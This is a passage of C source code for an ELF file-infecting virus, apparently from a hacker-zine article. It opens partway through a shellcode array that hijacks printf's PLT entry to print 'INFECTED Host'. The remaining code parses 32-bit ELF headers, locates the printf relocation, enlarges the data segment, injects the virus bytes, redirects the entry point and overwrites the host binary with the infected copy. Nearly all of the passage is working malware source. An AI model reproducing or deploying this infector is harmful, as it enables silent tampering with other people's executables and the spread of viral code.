$newcall,plt */ "\x08\x00\x00\x00\x00" "\x61" /* popa */ "\xbd\x00\x80\x04\x08" /* movl $entry,%ebp */ "\xff\xe5" /* jmp *%ebp */ /* newcall: */ "\xeb\x37" /* jmp msg_jmp */ /* msg_call */ "\x59" /* popl %ecx */ "\xb8\x04\x00\x00\x00" /* movl $4,%eax */ "\xbb\x01\x00\x00\x00" /* movl $1,%ebx */ "\xba\x0e\x00\x00\x00" /* movl $14,%edx */ "\xcd\x80" /* int $0x80 */ "\xb8\x00\x00\x00\x00" /* movl $oldcall,%eax */ "\xa3\x00\x00\x00\x00" /* movl %eax,plt */ "\xff\x75\xfc" /* pushl -4(%ebp) */ "\xff\xd0" /* call *%eax */ "\xa1\x00\x00\x00\x00" /* movl plt,%eax */ "\xa3\x00\x00\x00\x00" /* movl %eax,oldcall */ "\xc7\x05\x00\x00\x00" /* movl $newcall,plt */ "\x08\x00\x00\x00\x00" "\x58" /* popl %eax */ "\xc3" /* ret */ /* msg_jmp */ "\xe8\xc4\xff\xff\xff" /* call msg_call */ "INFECTED Host " ; char *get_virus(void) { return v; } int init_virus( int plt, int offset, int text_start, int data_start, int data_memsz, int entry ) { int code_start = data_start + data_memsz; int oldcall = code_start + 72; int newcall = code_start + 51; *(int *)&v[7] = text_start; *(int *)&v[24] = plt; *(int *)&v[29] = oldcall; *(int *)&v[35] = plt; *(int *)&v[39] = newcall; *(int *)&v[45] = entry; *(int *)&v[77] = plt; *(int *)&v[87] = plt; *(int *)&v[92] = oldcall; *(int *)&v[98] = plt; *(int *)&v[102] = newcall; return 0; } int copy_partial(int fd, int od, unsigned int len) { char idata[PAGE_SIZE]; unsigned int n = 0; int r; while (n + PAGE_SIZE < len) { if (read(fd, idata, PAGE_SIZE) != PAGE_SIZE) {; perror("read"); return -1; } if (write(od, idata, PAGE_SIZE) < 0) { perror("write"); return -1; } n += PAGE_SIZE; } r = read(fd, idata, len - n); if (r < 0) { perror("read"); return -1; } if (write(od, idata, r) < 0) { perror("write"); return -1; } return 0; } void do_elf_checks(Elf32_Ehdr *ehdr) { if (strncmp(ehdr->e_ident, ELFMAG, SELFMAG)) { fprintf(stderr, "File not ELF\n"); exit(1); } if (ehdr->e_type != ET_EXEC) { fprintf(stderr, "ELF type not ET_EXEC or ET_DYN\n"); exit(1); } if (ehdr->e_machine != EM_386 && ehdr->e_machine != EM_486) { fprintf(stderr, "ELF machine type not EM_386 or EM_486\n"); exit(1); } if (ehdr->e_version != EV_CURRENT) { fprintf(stderr, "ELF version not current\n"); exit(1); } } int do_dyn_symtab( int fd, Elf32_Shdr *shdr, Elf32_Shdr *shdrp, const char *sh_function ) { Elf32_Shdr *strtabhdr = &shdr[shdrp->sh_link]; char *string; Elf32_Sym *sym, *symp; int i; string = (char *)malloc(strtabhdr->sh_size); if (string == NULL) { perror("malloc"); exit(1); } if (lseek( fd, strtabhdr->sh_offset, SEEK_SET) != strtabhdr->sh_offset ) { perror("lseek"); exit(1); } if (read(fd, string, strtabhdr->sh_size) != strtabhdr->sh_size) { perror("read"); exit(1); } sym = (Elf32_Sym *)malloc(shdrp->sh_size); if (sym == NULL) { perror("malloc"); exit(1); } if (lseek(fd, shdrp->sh_offset, SEEK_SET) != shdrp->sh_offset) { perror("lseek"); exit(1); } if (read(fd, sym, shdrp->sh_size) != shdrp->sh_size) { perror("read"); exit(1); } symp = sym; for (i = 0; i < shdrp->sh_size; i += sizeof(Elf32_Sym)) { if (!strcmp(&string[symp->st_name], sh_function)) { free(string); return symp - sym; } ++symp; } free(string); return -1; } int get_sym_number( int fd, Elf32_Ehdr *ehdr, Elf32_Shdr *shdr, const char *sh_function ) { Elf32_Shdr *shdrp = shdr; int i; for (i = 0; i < ehdr->e_shnum; i++) { if (shdrp->sh_type == SHT_DYNSYM) { return do_dyn_symtab(fd, shdr, shdrp, sh_function); } ++shdrp; } } void do_rel(int *plt, int *offset, int fd, Elf32_Shdr *shdr, int sym) { Elf32_Rel *rel, *relp; int i; rel = (Elf32_Rel *)malloc(shdr->sh_size); if (rel == NULL) { perror("malloc"); exit(1); } if (lseek(fd, shdr->sh_offset, SEEK_SET) != shdr->sh_offset) { perror("lseek"); exit(1); } if (read(fd, rel, shdr->sh_size) != shdr->sh_size) { perror("read"); exit(1); } relp = rel; for (i = 0; i < shdr->sh_size; i += sizeof(Elf32_Rel)) { if (ELF32_R_SYM(relp->r_info) == sym) { *plt = relp->r_offset; *offset = relp - rel; printf("offset %i\n", *offset); return; } ++relp; } *plt = -1; *offset = -1; } void find_rel( int *plt, int *offset, int fd, const char *string, Elf32_Ehdr *ehdr, Elf32_Shdr *shdr, const char *sh_function ) { Elf32_Shdr *shdrp = shdr; int sym; int i; sym = get_sym_number(fd, ehdr, shdr, sh_function); if (sym < 0) { *plt = -1; *offset = -1; return; } for (i = 0; i < ehdr->e_shnum; i++) { if (!strcmp(&string[shdrp->sh_name], ".rel.plt")) { do_rel(plt, offset, fd, shdrp, sym); return; } ++shdrp; } } void infect_elf( char *host, char *(*get_virus)(void), int (*init_virus)(int, int, int, int, int, int), int len, const char *sh_function ) { Elf32_Ehdr ehdr; Elf32_Shdr *shdr, *strtabhdr; Elf32_Phdr *phdr; char *pdata, *sdata; int move = 0; int od, fd; int evaddr, text_start = -1, plt; int sym_offset; int bss_len, addlen; int offset, pos, oshoff; int plen, slen; int i; char null = 0; struct stat stat; char *string; char tempname[8] = "vXXXXXX"; fd = open(host, O_RDONLY); if (fd < 0) { perror("open"); exit(1); } /* read the ehdr */ if (read(fd, &ehdr, sizeof(ehdr)) < 0) { perror("read"); exit(1); } do_elf_checks(&ehdr); /* modify the virus so that it knows the correct reentry point */ printf("host entry point: %x\n", ehdr.e_entry); /* allocate memory for phdr tables */ pdata = (char *)malloc(plen = sizeof(*phdr)*ehdr.e_phnum); if (pdata == NULL) { perror("malloc"); exit(1); } /* read the phdr's */ if (lseek(fd, ehdr.e_phoff, SEEK_SET) < 0) { perror("lseek"); exit(1); } if (read(fd, pdata, plen) != plen) { perror("read"); exit(1); } phdr = (Elf32_Phdr *)pdata; /* allocated memory if required to accomodate the shdr tables */ sdata = (char *)malloc(slen = sizeof(*shdr)*ehdr.e_shnum); if (sdata == NULL) { perror("malloc"); exit(1); } /* read the shdr's */ if (lseek(fd, oshoff = ehdr.e_shoff, SEEK_SET) < 0) { perror("lseek"); exit(1); } if (read(fd, sdata, slen) != slen) { perror("read"); exit(1); } strtabhdr = &((Elf32_Shdr *)sdata)[ehdr.e_shstrndx]; string = (char *)malloc(strtabhdr->sh_size); if (string == NULL) { perror("malloc"); exit(1); } if (lseek( fd, strtabhdr->sh_offset, SEEK_SET ) != strtabhdr->sh_offset) { perror("lseek"); exit(1); } if (read(fd, string, strtabhdr->sh_size) != strtabhdr->sh_size) { perror("read"); exit(1); } find_rel( &plt, &sym_offset, fd, string, &ehdr, (Elf32_Shdr *)sdata, sh_function ); if (plt < 0) { printf("No dynamic function: %s\n", sh_function); exit(1); } for (i = 0; i < ehdr.e_phnum; i++) { if (phdr->p_type == PT_LOAD) { if (phdr->p_offset == 0) { text_start = phdr->p_vaddr; } else { if (text_start < 0) { fprintf(stderr, "No text segment??\n"); exit(1); } /* is this the data segment ? */ #ifdef DEBUG printf("Found PT_LOAD segment...\n"); printf( "p_vaddr: 0x%x\n" "p_offset: %i\n" "p_filesz: %i\n" "p_memsz: %i\n" "\n", phdr->p_vaddr, phdr->p_offset, phdr->p_filesz, phdr->p_memsz ); #endif offset = phdr->p_offset + phdr->p_filesz; bss_len = phdr->p_memsz - phdr->p_filesz; if (init_virus != NULL) init_virus( plt, sym_offset, text_start, phdr->p_vaddr, phdr->p_memsz, ehdr.e_entry ); ehdr.e_entry = phdr->p_vaddr + phdr->p_memsz; break; } } ++phdr; } /* update the shdr's to reflect the insertion of the virus */ addlen = len + bss_len; shdr = (Elf32_Shdr *)sdata; for (i = 0; i < ehdr.e_shnum; i++) { if (shdr->sh_offset >= offset) { shdr->sh_offset += addlen; } ++shdr; } /* update the phdr's to reflect the extention of the data segment (to allow virus insertion) */ phdr = (Elf32_Phdr *)pdata; for (i = 0; i < ehdr.e_phnum; i++) { if (phdr->p_type != PT_DYNAMIC) { if (move) { phdr->p_offset += addlen; } else if (phdr->p_type == PT_LOAD && phdr->p_offset) { /* is this the data segment ? */ phdr->p_filesz += addlen; phdr->p_memsz += addlen; #ifdef DEBUG printf("phdr->filesz: %i\n", phdr->p_filesz); printf("phdr->memsz: %i\n", phdr->p_memsz); #endif move = 1; } } ++phdr; } /* update ehdr to reflect new offsets */ if (ehdr.e_shoff >= offset) ehdr.e_shoff += addlen; if (ehdr.e_phoff >= offset) ehdr.e_phoff += addlen; if (fstat(fd, &stat) < 0) { perror("fstat"); exit(1); } /* write the new virus */ if (mktemp(tempname) == NULL) { perror("mktemp"); exit(1); } od = open(tempname, O_WRONLY | O_CREAT | O_EXCL, stat.st_mode); if (od < 0) { perror("open"); exit(1); } if (lseek(fd, 0, SEEK_SET) < 0) { perror("lseek"); goto cleanup; } if (write(od, &ehdr, sizeof(ehdr)) < 0) { perror("write"); goto cleanup; } if (write(od, pdata, plen) < 0) { perror("write"); goto cleanup; } free(pdata); if (lseek(fd, pos = sizeof(ehdr) + plen, SEEK_SET) < 0) { perror("lseek"); goto cleanup; } if (copy_partial(fd, od, offset - pos) < 0) goto cleanup; for (i = 0; i < bss_len; i++) write(od, &null, 1); if (write(od, get_virus(), len) != len) { perror("write"); goto cleanup; } if (copy_partial(fd, od, oshoff - offset) < 0) goto cleanup; if (write(od, sdata, slen) < 0) { perror("write"); goto cleanup; } free(sdata); if (lseek(fd, pos = oshoff + slen, SEEK_SET) < 0) { perror("lseek"); goto cleanup; } if (copy_partial(fd, od, stat.st_size - pos) < 0) goto cleanup; if (rename(tempname, host) < 0) { perror("rename"); exit(1); } if (fchown(od, stat.st_uid, stat.st_gid) < 0) { perror("chown"); exit(1); } free(string); return; cleanup: unlink(tempname); exit(1); } int main(int argc, char *argv[]) { if (argc != 2) { fprintf(stderr, "usage: infect-data-segment filename\n"); exit(1); } infect_elf( argv[1], get_virus, init_virus, sizeof(v), "printf" ); exit(0); } <--> |EOF|-------------------------------------------------------------------------|